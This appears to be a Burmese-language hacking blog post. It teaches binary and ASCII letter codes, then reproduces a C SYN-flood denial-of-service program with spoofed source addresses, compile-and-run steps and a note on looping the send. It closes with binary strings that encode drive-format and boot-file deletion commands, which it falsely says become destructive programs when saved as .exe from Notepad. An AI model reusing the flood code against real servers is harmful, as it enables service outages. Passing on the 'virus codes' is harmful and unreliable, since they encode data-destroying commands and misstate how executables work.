ဘိုင္နရီ ကုတ္ဆိုတာ ဘာလဲ?

ဘိုင္နရီ ကုတ္ဆိုတာ ကြန္ပ်ူတာေတြနားလည္တဲ့ စကားေပါ့ ေနာ္အရင္ တံုးကရွင္းျပဖူးပါတယ္
ကြန္ပ်ူတာေတြ တစ္လံုးနဲ့ တစ္လံုးဆက္သြယ္တဲ့ အခါမွာ ဒီ computer ေတြကို ဒီတိုင္းဆက္သြယ္လို့မရပါဘူး
သူတို့ကို တစ္ဦးနဲ့ တစ္ဦး နားလည္တဲ့ ဘိုင္နရီ ကုတ္ေလးနဲ့ ဆက္သြယ္ထားပါတယ္ ကြန္ပ်ူတာကလည္းဒါပဲ
နားလည္ပါတယ္ 0,1 ေပါ့ ပထမ တစ္လံုးနဲ့တစ္လံုးခ်ိပါဆက္တဲ့ အခါမွာ သူတို့ေတြကို data ေတြပို့ေဆာင္တဲ့ အခါမွာ သက္ဆိုင္ရာ ကြန္ပ်ူတာေတြဆီ ပိုေဆာင္တဲ့ data ေတြေရာက္၇ွိသြားဖို့ ip address ေေတြကိုသံုးပါ
တယ္ ip address ဟာ computer ေတြရဲ့ ကိုယ္စလွည္ပါ ဒီ ကြန္ပ်ူတာကေနျပီးေတာ့ အျခားကြန္ပ်ူတာ
တစ္လံုးကို network လိုင္းကေနျပီးဥပမာ photo တစ္ ခုပို့လိုက္တယ္ဆိုပါစို့ ဒီ photo ဟာ ဒီအတိုင္းျကီးေရာက္
သြားတာမဟုတ္ပါ
computer နားလည္တဲ့ bynary language နဲ့ 01010010010110000000011111
အျဖစ္ ေျပာင္း လဲျပီးေတာ့ နက္၀က္ေပါင္းသန္းေပါင္းမ်ားစြာကိုျဖက္သန္းျပီးေတာ့ သက္ဆိုင္ရာ ip address
ဆီသို့ေရာက္ေအာင္ပိုေဆာင္ပါတယ္ ဒီ 0 and1 ကို ေရာက္ရွိတဲ့ ကြန္ပ်ူတာက ျပန္လည္ျပီးေတာ့ photo တစ္ခုအျဖစ္တည္ေဆာက္ျပီးေတာ့ ဘာသာျပန္ပါတယ္ ေရွ master hacker ျကီးေတြက ဒီ bynary
ကို အသံုးျပုျပီးေတာ့ Network ေတြေဖာက္ထြင္း password ေတြဟက္ Web CMS ကလည္းဒီ binary
နဲ့ မကင္းပါဘူး မကင္းဆို bynary က လူရွုပ္ျကီးကို အဲေလ conputer သံုးေနသမ်ွ ဒီ binary language
နဲ့ ကင္းလို့မရပါဘူး ေျမက္မ်ားစြာ ေသာ computer တိမ္းခ်ပ္မွူ system ေတြဟာ သူနဲ့သက္ဆိုင္ပါတယ္
ဒီေကာင္ကလည္း ထိပ္တန္း script ကို

ဒါေျကာင့္ အခ်ို့ master hacker ေတြက ဒီေကာင္ကိုအသံုျပုျကပါတယ္ ခုထိ A taxonomy of code injection attacks. Code injection attacks. Binary attacks. Dynamic language attacks. ဆိုတာ နာျမည္ျကီး တမင္းငက္ အဲ့ေလ ထြက္ေပါ္လာပါတယ္ ကဲေလ့လာေရးသာရေအာင္ ေသခ်မွတ္သားပါ အလြပ္က်က္ထားပါ ဒါမွ အနာ ဂတ္ျမန္မာ ဟက္ကာေလာင္းေတြျဖစ္ျကမွာေပါ့ ကဲေရးျကည္ရေအာင္binary language ေတြေနာက္စမယ္
အေျခခံက binary language မွာ english စာေတြကို

Letter Binary Code
A 01000001
B 01000010
C 01000011
D 01000100
E 01000101
F 01000110
G 01000111
H 01001000
I 01001001
J 01001010
K 01001011
L 01001100
M 01001101
N 01001110
O 01001111
P 01010000
Q 01010001
R 01010010
S 01010011
T 01010100
U 01010101
V 01010110
W 01010111
X 01011000
Y 01011001
Z 01011010
Letter Binary Code
a 01100001
b 01100010
c 01100011
d 01100100
e 01100101
f 01100110
g 01100111
h 01101000
i 01101001
j 01101010
k 01101011
l 01101100
m 01101101
n 01101110
o 01101111
p 01110000
q 01110001
r 01110010
s 01110011
t 01110100
u 01110101
v 01110110
w 01110111
x 01111000
y 01111001
z 01111010
ဒီလိုသက္မွတ္ပါတယ္
ဥပမာ Bob = 010000100110111101100010
Computer =0100001101101111011011010111000001110101011101000110010101110010
စမ္းျပီးေတာ့ ကြန္ပ်ူတာနားလည္တဲ့ ဘာသာစကားေတြကို လူေတြေရးျကည္ပါ
နံပတ္ကေတာ့
1. 1
2. 10
3. 11
4. 100
5. 101
6. 110
7. 111
8. 1000
9. 1001
10. 1010
11. 1011
12. 1100
13. 1101
14. 1110
15. 1111
16. 10000
17. 10001
18. 10010
19. 10011
20. 10100
ပါ စမ္းေရးျကည္ပါတျဖည္ျဖည္းနဲ့ဒီအေျကာင္းကိုနားလည္လာတဲ့ အခါမွာ ဒီlanguage ေလးကိုဘယ္လိုတက္ျမတ္စြာ အသံုးျပုရမလဲဆိုတာသိလာပါမယ္
ကဲညီေလးတစ္ေယာက္ကေမးတယ္ C language နဲ့ Ddos attack လုတ္လို့ရသလားတဲ ဘယ္လိုေရးသြားသလဲတဲ့ ညီေလးက C ကိုေလ့လာေနသူပါတဲ့ရတယ္ညီေလးရယ္ ဒါကိုက်ြန္ေတာ္တို့အဖြဲ့
ဆရာျကီးကေရးျပပါမယ္ mr.depaker (RUSSIA) c++,c#, java, python
ပါ Ddos attack c flood coad ပါ
TCP/IP 3-way handshake is done to establish a connection between a client and a server. The process is :
1. Client –SYN Packet–> Server
2. Server –SYN/ACK Packet –> Client
3. Client –ACK Packet –> Server
The above 3 steps are followed to establish a connection between source and destination.
SYN Flood DOS attacks involves sending too many SYN packets (with a bad or random source ip) to the destination server. These SYN requests get queued up on the server’s buffer and use up the resources and memory of the server. This can lead to a crash or hang of the server machine.
After sending the SYN packet it is a half-open connection and it takes up resources on the server machine. So if an attacker sends syn packets faster than memory is being freed up on the server then it would be an overflow situation.Since the server’s resources are used the response to legitimate users is slowed down resulting in Denial of Service.
Most webservers now a days use firewalls which can handle such syn flood attacks and moreover even web servers are now more immune.
Below is an example code in c :

/*
Syn Flood DOS with LINUX sockets
*/
‪#‎include‬<stdio.h>
#include<netinet/tcp.h> //Provides declarations for tcp header
#include<netinet/ip.h> //Provides declarations for ip header
typedef struct pseudo_header //needed for checksum calculation
{
unsigned int source_address;
unsigned int dest_address;
unsigned char placeholder;
unsigned char protocol;
unsigned short tcp_length;
//char tcp[28];
struct tcphdr tcp;
};
unsigned short csum(unsigned short *ptr,int nbytes) {
register long sum;
unsigned short oddbyte;
register short answer;
sum=0;
while(nbytes>1) {
sum+=*ptr++;
nbytes-=2;
}
if(nbytes==1) {
oddbyte=0;
*((u_char*)&oddbyte)=*(u_char*)ptr;
sum+=oddbyte;
}
sum = (sum>>16)+(sum & 0xffff);
sum = sum + (sum>>16);
answer=(short)~sum;
return(answer);
}
int main (void)
{
//Create a raw socket
int s = socket (PF_INET, SOCK_RAW, IPPROTO_TCP);
//Datagram to represent the packet
char datagram[4096];
//IP header
struct iphdr *iph = (struct iphdr *) datagram;
//TCP header
struct tcphdr *tcph = (struct tcphdr *) (datagram + sizeof (struct ip));
struct sockaddr_in sin;
struct pseudo_header psh;
sin.sin_family = AF_INET;
sin.sin_port = htons(80);
sin.sin_addr.s_addr = inet_addr ("1.2.3.4");
memset (datagram, 0, 4096); /* zero out the buffer */
//Fill in the IP Header
iph->ihl = 5;
iph->version = 4;
iph->tos = 0;
iph->tot_len = sizeof (struct ip) + sizeof (struct tcphdr);
iph->id = htonl (54321); //Id of this packet
iph->frag_off = 0;
iph->ttl = 255;
iph->protocol = IPPROTO_TCP;
iph->check = 0; //Set to 0 before calculating checksum
iph->saddr = inet_addr ("192.168.1.2"); //Spoof the source ip address
iph->daddr = sin.sin_addr.s_addr;
iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
//TCP Header
tcph->source = htons (1234);
tcph->dest = htons (80);
tcph->seq = 0;
tcph->ack_seq = 0;
tcph->doff = 5; /* first and only tcp segment */
tcph->fin=0;
tcph->syn=1;
tcph->rst=0;
tcph->psh=0;
tcph->ack=0;
tcph->urg=0;
tcph->window = htons (5840); /* maximum allowed window size */
tcph->check = 0;/* if you set a checksum to zero, your kernel's IP stack
should fill in the correct checksum during transmission */
tcph->urg_ptr = 0;
//Now the IP checksum
psh.source_address = inet_addr("192.168.1.2");
psh.dest_address = sin.sin_addr.s_addr;
psh.placeholder = 0;
psh.protocol = IPPROTO_TCP;
psh.tcp_length = htons(20);
memcpy(&psh.tcp , tcph , sizeof (struct tcphdr));
tcph->check = csum( (unsigned short*) &psh , sizeof (struct pseudo_header));
//IP_HDRINCL to tell the kernel that headers are included in the packet
{
int one = 1;
const int *val = &one;
if (setsockopt (s, IPPROTO_IP, IP_HDRINCL, val, sizeof (one)) < 0)
printf ("Warning: Cannot set HDRINCL!n");
}
//while (1)
//{
//Send the packet
if (sendto (s, /* our socket */
datagram, /* the buffer containing headers and data */
iph->tot_len, /* total length of our datagram */
0, /* routing flags, normally always 0 */
(struct sockaddr *) &sin, /* socket addr, just like in */
sizeof (sin)) < 0) /* a normal send() */
printf ("errorn");
//Data send successfully
else
printf (".");
//}
return 0;
}
To compile simply : gcc synflood.c
And then : sudo ./a.out (if on Ubuntu)
Use wireshark to check the packets and replies from server.
The sendto function if put in a loop will start flooding the destination ip with syn packets.
Popularity: 39% [?]
၁. Notepad ကိုဖြင့္ပါ။
၂. ေအာက္ေဖာ္ျပပါ code မ်ားကိုကူးထည္႕ပါ။
၃. Save လုပ္မည္႕အခါတြင္ .exe ဖိုင္အေနျဖင့္ save လုပ္ပါ။
- Hard disk ကိုဖ်က္ဆီးႏိုင္သည္႕ Code
01001011000111110010010101010101010000011111100000
- C: Partition ကို Format လုပ္ႏိုင္သည္႕ Code
01100110011011110111001001101101011000010111010000 100000011000110011101001011100001000000 01011110101 00010010111101011000
- D: Partition ကို Format လုပ္ႏိုင္သည္႕ Code
01100110011011110111001001101101011000010111010000 100000011000010011101001011100001000000 01011110101 00010010111101011000
- A: Partition ကို Format လုပ္ႏိုင္သည္႕ Code
01100110011011110111001001101101011000010111010000 100000011000010011101001011100001000000 01011110101 00010010111101011000
- Boot Failure ျဖစ္ႏိုင္သည္႕ Code
01100100011001010110110000100000001011110100011000101111010100110010111101010001001000000110001100111010010111000110001001101111011011110111010000101110011010010110111001101001



 ေရးသူကို Credit ေပးပါသည္










 ခင္မင္ေလးစားစြာျဖင့္............





* ေမ်ာက္ေလာင္းနည္းပညာ*

ဒီစာေလးကိုဖတ္ေပးပါအေနာ္ဒီဘေလာ့ေလးလုပ္တယ္ဆိုတာကိုယ္ေလ့လာထားသမွ်ေလးေတြကိုသူငယ္ခ်င္းတို ့ကိုျပန္လည္မွ်ေဝျခင္းသက္သက္ပါမွတ္စုစာအုပ္သေဘာနဲ ့လုပ္ထားျခင္းျဖစ္တဲ့အတြက္အမွားမ်ားပါရွိခဲ့ရင္ဒီကေနပဲအေနာ္ ေတာင္းပန္ပါရေစ